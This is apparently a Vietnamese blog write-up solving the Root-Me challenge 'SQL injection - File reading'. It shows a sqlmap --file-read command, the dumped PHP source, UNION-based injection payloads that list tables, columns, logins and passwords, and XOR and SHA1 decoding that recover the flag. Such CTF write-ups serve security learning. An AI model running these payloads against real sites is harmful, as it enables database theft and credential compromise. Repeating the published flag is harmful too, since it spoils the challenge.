--- template: overrides/blog.html icon: material/plus-circle title: SQL injection - File reading description: > search: exclude: true hide: - feedback tags: - SQL Injection --- # __SQL injection - File reading__ :octicons-calendar-24: May 03, 2023 --- ## __Tài nguyên và link challenge__ Tài nguyên của challenge này tại [https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-file-reading](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-file-reading) Link challenge này tại [:octicons-arrow-right-24: http://challenge01.root-me.org/web-serveur/ch31/][http://challenge01.root-me.org/web-serveur/ch31/] [http://challenge01.root-me.org/web-serveur/ch31/]: http://challenge01.root-me.org/web-serveur/ch31/ ## __Tổng quan__ Trong challenge này, mục tiêu của ta là lấy được password admin. ## __Kịch bản tấn công__ ### Bước 1: Kiểm tra website Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem thành viên (trang Members). ### Bước 2: Khai thác website Well, nhìn đề bài ta cào source code bằng sqlmap cho nhanh. Xem nó ra gì ::) Dùng lệnh `python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --file-read=/challenge/web-serveur/ch31/index.php` để xem sourcecode
``` php linenums="1" hl_lines="21 39 45"
SQL injection - FILE

Authentication | Members


'; if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password'])) { $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], strtolower($_POST['username'])); $pass = sha1($_POST['password']); $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT member_password FROM member WHERE member_login='".$user."'"); if(mysqli_num_rows($result) == 1) { $data = mysqli_fetch_array($result); if($pass == stringxor($key, base64_decode($data['member_password']))){ // authentication success print "

Authentication success !!

"; if ($user == "admin") print "

Yeah !!! You're admin ! Use this password to complete this challenge.

"; else print "

But... you're not admin !

"; } else{ // authentication failed print "

Authentication failed !

"; } } else{ print "

User not found !

"; } } } if($_GET['action'] == "members"){ if(isset($_GET['id']) && !empty($_GET['id'])) { // secure ID variable $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['id']); $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member WHERE member_id=$id") or die(mysqli_error($GLOBALS["___mysqli_ston"])); if(mysqli_num_rows($result) == 1) { $data = mysqli_fetch_array($result); print "ID : ".$data["member_id"]."
"; print "Username : ".$data["member_login"]."
"; print "Email : ".$data["member_email"]."
"; } else{ print "no result found"; } } else{ $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member"); while ($row = mysqli_fetch_assoc($result)) { print "

".$row['member_login']."

"; } } } ?> ```
Với source code trên ta nhặt được một vài thứ quan trọng: - Đầu tiên, chúng ta có 1 biến key - Thứ hai, password đã được mã hóa SHA1 - Cuối cùng, ta có hàm stringxor để thực hiện việc xor giá trị của key và base64_decode(password_in_db) và so sánh với SHA1(password_input). Thế thì chúng ta nên làm gì tiếp theo đây? Đi tìm password thôi nào. Quay lại, challenge này nhìn vào giống tựa như bài [SQL injection - Numeric](/rootme/web-server/sql-injection/sql-injection-numeric). Đầu tiên, ta fuzz URL để tìm số cột của table và nhận được 4 cột (thông qua payload `order by 5--`)
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-02.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Hoặc ta có thể kiểm tra bằng `..&id=1 union select 1,1,1,1--`
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-01.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Tiếp theo, ta sẽ xem các vị trí cột có thể khai thác bằng `-1 union select 1,2,3,4--`
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-03.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Well, ta có cột 1, 2 và 4 có thể khai thác Tiếp theo, ta sẽ tìm danh sách các bảng bằng `-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()--` ta thấy có được bảng member
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-04.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Roài, tiếp theo ta sẽ chọn và khai thác table member bằng `-1 union select 1,2,3,group_concat(column_name) FROM information_schema.columns WHERE table_name = 0x6d656d626572--`
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-05.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Rồi, ở đây ta chỉ quan tâm đến cột member_login và member_password bằng `-1 union select 1,2,3,group_concat(member_login,member_password) from member--`
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-06.png#zoom)
Hình ảnh mô tả kết quả tiêm payload vào URL
Ta nhận được một chuỗi mã hóa `VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==`. Công việc của ta là login thui nào ### Bước 3: Khai thác password Rồi tiếp theo ta xem lại đoạn code đã khai thác từ trước, ta tiến hành giải mã password. Ta nhận được: - password_encrypt = VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA== - key = c92fcd618967933ac463feb85ba00d5a7ae52842 Hơn nữa ta có: key xor password_encrypt = SHA1(password_input) :octicons-arrow-right-24: SHA1(password_input) = key xor password_encrypt. Rồi từ đây ta sẽ tiến hành tìm SHA1(password_input).
![Image title](/rootme/web-server/sql-injection/images/sql-injection-file-reading-07.png#zoom)
Hình ảnh mô tả kết quả SHA1(password_input)
Well, ta được SHA1(password_input) = `77be4fc97f77f5f48308942bb6e32aacabed9cef`. Decrypt ta được password = `superpassword` !!! success "__Flag__" superpassword